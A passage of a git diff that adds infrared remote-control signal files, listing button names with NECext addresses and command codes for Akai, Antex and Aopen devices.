0B 00 00 +command: 0A 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 0B 00 00 00 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 0C 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 0E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 0F 00 00 00 +# +name: picture +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 10 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 11 00 00 00 +# +name: index +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 11 00 00 00 +# +name: exp +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 13 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 14 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 15 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 16 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 17 00 00 00 +# +name: norm +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 18 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 18 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 19 00 00 00 +# +name: mix +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 1A 00 00 00 +# +name: rev +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 1B 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 1C 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 1D 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 1E 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Akai/Unknown_Akai-RC-V23E/137,119.ir b/assets/resources/infrared/_CSV-IRDB_/Akai/Unknown_Akai-RC-V23E/137,119.ir new file mode 100644 index 000000000..c7bfc9fa2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Akai/Unknown_Akai-RC-V23E/137,119.ir @@ -0,0 +1,98 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 01 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 02 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 03 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 06 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 09 00 00 00 +# +name: Pic+ +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 0D 00 00 00 +# +name: Pic- +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 0E 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 0F 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 10 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 13 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 16 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 17 00 00 00 +# +name: Auto +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 18 00 00 00 +# +name: Tracking+ +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 58 00 00 00 +# +name: Tracking- +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 59 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 5E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Akai/Unknown_RC-C79/141,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Akai/Unknown_RC-C79/141,-1.ir new file mode 100644 index 000000000..a5a1be27d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Akai/Unknown_RC-C79/141,-1.ir @@ -0,0 +1,266 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 09 00 00 00 +# +name: KEY_EDIT +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 0A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 0B 00 00 00 +# +name: PEAK +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 0C 00 00 00 +# +name: X_KEY_0+ +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 0D 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 0E 00 00 00 +# +name: INDEX +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 0F 00 00 00 +# +name: program +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 10 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 13 00 00 00 +# +name: A/B +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 14 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 15 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 16 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 17 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 18 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 19 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 1A 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 1B 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 1C 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 1D 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 1E 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 1F 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 40 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 41 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 42 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 43 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 44 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 45 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 46 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 47 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 48 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 49 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 4A 00 00 00 +# +name: DIMMER +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 4C 00 00 00 +# +name: DIGITAL +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 4D 00 00 00 +# +name: DAC +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 4E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Akai/Unknown_RC-W152E/137,119.ir b/assets/resources/infrared/_CSV-IRDB_/Akai/Unknown_RC-W152E/137,119.ir new file mode 100644 index 000000000..724baccfa --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Akai/Unknown_RC-W152E/137,119.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 01 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 02 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 03 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 06 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 07 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 08 00 00 00 +# +name: STILL +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 09 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 0A 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 0D 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 0E 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 0F 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 10 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 13 00 00 00 +# +name: KEY_F11 +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 14 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 16 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 17 00 00 00 +# +name: AUTO +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 18 00 00 00 +# +name: SPEED_UP +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 1A 00 00 00 +# +name: SPEED_DOWN +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 1B 00 00 00 +# +name: VID_MODE +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 4E 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 50 00 00 00 +# +name: DIMMER +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 51 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 53 00 00 00 +# +name: PROG_LIST +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 54 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 55 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 56 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 58 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 59 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 5C 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 5D 00 00 00 +# +name: PROG +type: parsed +protocol: NECext +address: 89 77 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Akai/Unknown_akai/131,101.ir b/assets/resources/infrared/_CSV-IRDB_/Akai/Unknown_akai/131,101.ir new file mode 100644 index 000000000..c5e39e2ea --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Akai/Unknown_akai/131,101.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: CD_STOP +type: parsed +protocol: NECext +address: 83 65 00 00 +command: 00 00 00 00 +# +name: INPUT_TUNER +type: parsed +protocol: NECext +address: 83 65 00 00 +command: 01 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 83 65 00 00 +command: 02 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 83 65 00 00 +command: 03 00 00 00 +# +name: INPUT_TAPE +type: parsed +protocol: NECext +address: 83 65 00 00 +command: 04 00 00 00 +# +name: CD_PLAY +type: parsed +protocol: NECext +address: 83 65 00 00 +command: 05 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 83 65 00 00 +command: 06 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 83 65 00 00 +command: 08 00 00 00 +# +name: INPUT_PHONO +type: parsed +protocol: NECext +address: 83 65 00 00 +command: 09 00 00 00 +# +name: CD_PREV +type: parsed +protocol: NECext +address: 83 65 00 00 +command: 0C 00 00 00 +# +name: CD_REPEAT +type: parsed +protocol: NECext +address: 83 65 00 00 +command: 0D 00 00 00 +# +name: AUTOMUTE +type: parsed +protocol: NECext +address: 83 65 00 00 +command: 0E 00 00 00 +# +name: VOL_MUTE +type: parsed +protocol: NECext +address: 83 65 00 00 +command: 10 00 00 00 +# +name: INPUT_VCR +type: parsed +protocol: NECext +address: 83 65 00 00 +command: 11 00 00 00 +# +name: CD_FF +type: parsed +protocol: NECext +address: 83 65 00 00 +command: 14 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 83 65 00 00 +command: 18 00 00 00 +# +name: INPUT_CD +type: parsed +protocol: NECext +address: 83 65 00 00 +command: 19 00 00 00 +# +name: TAPE1_PLAY +type: parsed +protocol: NECext +address: 83 65 00 00 +command: 1B 00 00 00 +# +name: CD_REW +type: parsed +protocol: NECext +address: 83 65 00 00 +command: 1C 00 00 00 +# +name: CD_PROG +type: parsed +protocol: NECext +address: 83 65 00 00 +command: 1D 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 83 65 00 00 +command: 1E 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 83 65 00 00 +command: 1F 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 83 65 00 00 +command: 40 00 00 00 +# +name: TAPE2_FF +type: parsed +protocol: NECext +address: 83 65 00 00 +command: 42 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 83 65 00 00 +command: 43 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 83 65 00 00 +command: 44 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 83 65 00 00 +command: 45 00 00 00 +# +name: TAPE1_FF +type: parsed +protocol: NECext +address: 83 65 00 00 +command: 46 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 83 65 00 00 +command: 4A 00 00 00 +# +name: SOUNDCHAR_NEXT +type: parsed +protocol: NECext +address: 83 65 00 00 +command: 4C 00 00 00 +# +name: SOUNDCHAR_PREV +type: parsed +protocol: NECext +address: 83 65 00 00 +command: 4D 00 00 00 +# +name: CD_RANDOM +type: parsed +protocol: NECext +address: 83 65 00 00 +command: 4F 00 00 00 +# +name: CD_NEXT +type: parsed +protocol: NECext +address: 83 65 00 00 +command: 52 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 83 65 00 00 +command: 54 00 00 00 +# +name: TAPE1_REW +type: parsed +protocol: NECext +address: 83 65 00 00 +command: 56 00 00 00 +# +name: TAPE2_REW +type: parsed +protocol: NECext +address: 83 65 00 00 +command: 57 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 83 65 00 00 +command: 58 00 00 00 +# +name: TAPE2_BACK +type: parsed +protocol: NECext +address: 83 65 00 00 +command: 5A 00 00 00 +# +name: TAPE1_BACK +type: parsed +protocol: NECext +address: 83 65 00 00 +command: 5B 00 00 00 +# +name: TAPE2_STOP +type: parsed +protocol: NECext +address: 83 65 00 00 +command: 5C 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 83 65 00 00 +command: 5D 00 00 00 +# +name: TAPE2_PLAY +type: parsed +protocol: NECext +address: 83 65 00 00 +command: 5E 00 00 00 +# +name: TAPE1_STOP +type: parsed +protocol: NECext +address: 83 65 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Akai/Unknown_akai/139,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Akai/Unknown_akai/139,-1.ir new file mode 100644 index 000000000..77053223c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Akai/Unknown_akai/139,-1.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: NUM_1 +type: parsed +protocol: NECext +address: 8B 00 00 00 +command: 80 00 00 00 +# +name: NUM_2 +type: parsed +protocol: NECext +address: 8B 00 00 00 +command: 81 00 00 00 +# +name: NUM_3 +type: parsed +protocol: NECext +address: 8B 00 00 00 +command: 82 00 00 00 +# +name: NUM_4 +type: parsed +protocol: NECext +address: 8B 00 00 00 +command: 83 00 00 00 +# +name: NUM_5 +type: parsed +protocol: NECext +address: 8B 00 00 00 +command: 84 00 00 00 +# +name: NUM_6 +type: parsed +protocol: NECext +address: 8B 00 00 00 +command: 85 00 00 00 +# +name: NUM_7 +type: parsed +protocol: NECext +address: 8B 00 00 00 +command: 86 00 00 00 +# +name: NUM_8 +type: parsed +protocol: NECext +address: 8B 00 00 00 +command: 87 00 00 00 +# +name: NUM_9 +type: parsed +protocol: NECext +address: 8B 00 00 00 +command: 88 00 00 00 +# +name: NUM_+10 +type: parsed +protocol: NECext +address: 8B 00 00 00 +command: 89 00 00 00 +# +name: NUM_0 +type: parsed +protocol: NECext +address: 8B 00 00 00 +command: 8A 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 8B 00 00 00 +command: 8E 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 8B 00 00 00 +command: 90 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 8B 00 00 00 +command: 91 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 8B 00 00 00 +command: 92 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 8B 00 00 00 +command: 93 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 8B 00 00 00 +command: 94 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 8B 00 00 00 +command: 95 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 8B 00 00 00 +command: 96 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 8B 00 00 00 +command: 97 00 00 00 +# +name: KEY_EDIT +type: parsed +protocol: NECext +address: 8B 00 00 00 +command: 9F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 8B 00 00 00 +command: C0 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 8B 00 00 00 +command: C1 00 00 00 +# +name: SRC_PHONO_LINE +type: parsed +protocol: NECext +address: 8B 00 00 00 +command: C2 00 00 00 +# +name: VOL_MUTE +type: parsed +protocol: NECext +address: 8B 00 00 00 +command: C4 00 00 00 +# +name: PROG +type: parsed +protocol: NECext +address: 8B 00 00 00 +command: C9 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 8B 00 00 00 +command: CA 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 8B 00 00 00 +command: CB 00 00 00 +# +name: CD_PLAY_DISC1 +type: parsed +protocol: NECext +address: 8B 00 00 00 +command: CD 00 00 00 +# +name: CD_PLAY_DISC2 +type: parsed +protocol: NECext +address: 8B 00 00 00 +command: CE 00 00 00 +# +name: CD_PLAY_DISC3 +type: parsed +protocol: NECext +address: 8B 00 00 00 +command: CF 00 00 00 +# +name: SRC_CD +type: parsed +protocol: NECext +address: 8B 00 00 00 +command: D1 00 00 00 +# +name: SRC_TAPE +type: parsed +protocol: NECext +address: 8B 00 00 00 +command: D2 00 00 00 +# +name: SRC_TUNER +type: parsed +protocol: NECext +address: 8B 00 00 00 +command: D3 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Akai/Unknown_rc-c37/141,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Akai/Unknown_rc-c37/141,-1.ir new file mode 100644 index 000000000..99534f737 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Akai/Unknown_rc-c37/141,-1.ir @@ -0,0 +1,134 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 09 00 00 00 +# +name: program +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 10 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 13 00 00 00 +# +name: A/B +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 14 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 15 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 16 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 17 00 00 00 +# +name: random +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 18 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 1A 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 1B 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 1C 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 1D 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 1E 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Antex Electronics/Satellite Radio/26,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Antex Electronics/Satellite Radio/26,-1.ir new file mode 100644 index 000000000..36149852d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Antex Electronics/Satellite Radio/26,-1.ir @@ -0,0 +1,122 @@ +Filetype: IR signals file +Version: 1 +# +name: ZONE_1 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 08 00 00 00 +# +name: ZONE_2 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 09 00 00 00 +# +name: ZONE_3 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 0A 00 00 00 +# +name: PRESET +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 0F 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 10 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 11 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 12 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 13 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 14 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 15 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 16 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 17 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 18 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 19 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 1C 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 1D 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 1E 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 21 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 22 00 00 00 +# +name: CURSOR_SELECT +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 23 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Aopen/Media PC/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Aopen/Media PC/4,-1.ir new file mode 100644 index 000000000..0ce5b16f1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Aopen/Media PC/4,-1.ir @@ -0,0 +1,278 @@ +Filetype: IR signals file +Version: 1 +# +name: DVD/VCD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 04 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 05 00 00 00 +# +name: PREVIOUS +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 07 00 00 00 +# +name: TIME/SHIFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: PLAY/PAUSE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: REC +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0A 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0B 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0C 00 00 00 +# +name: PHOTO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0E 00 00 00 +# +name: VIDEO/CLIPPER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0F 00 00 00 +# +name: FORWARD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 10 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 11 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 12 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 13 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 14 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 15 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 16 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 17 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 18 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 19 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1A 00 00 00 +# +name: PC +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1B 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1C 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1D 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1F 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 04 00 00 00 